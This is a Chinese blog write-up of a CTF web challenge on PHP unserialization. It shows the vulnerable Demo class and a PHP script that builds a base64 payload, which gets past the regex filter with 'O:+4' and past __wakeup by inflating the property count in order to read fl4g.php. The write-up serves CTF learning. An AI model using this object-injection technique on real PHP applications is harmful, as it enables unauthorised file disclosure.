攻防世界-Web_php_unserialize

题目

废话没多说 上来就是一段代码

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

简单分析一下:
先创建了一个Demo类,其中具有
__construct创建file对象,__destruct摧毁对象,__wakeup方法(提示说在fl4g.php中有东西)
应该还是要绕过__wakeup() 构造两个对象即可
正则的话 匹配o,c开头的字母加数字 看网上说用+即可绕过

这题有个坑
!图片描述](https://img-blog.csdnimg.cn/20210401095515588.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzUzNzU1MjE2,size_16,color_FFFFFF,t_70#pic_center)

我本来打算直接构造进行base64编码 却发现怎么都过不了。。。很烦
写个脚本

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}

$a = new Demo('fl4g.php');
$b = serialize($a);
$b = str_replace('O:4', 'O:+4',$b);
$b = str_replace(':1:', ':2:',$b);
echo base64_encode($b);

发现就可以过了
把脚本跑出来的反编码看一下
在这里插入图片描述
发现有两个不可见字符
好像是因为private的缘故。。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值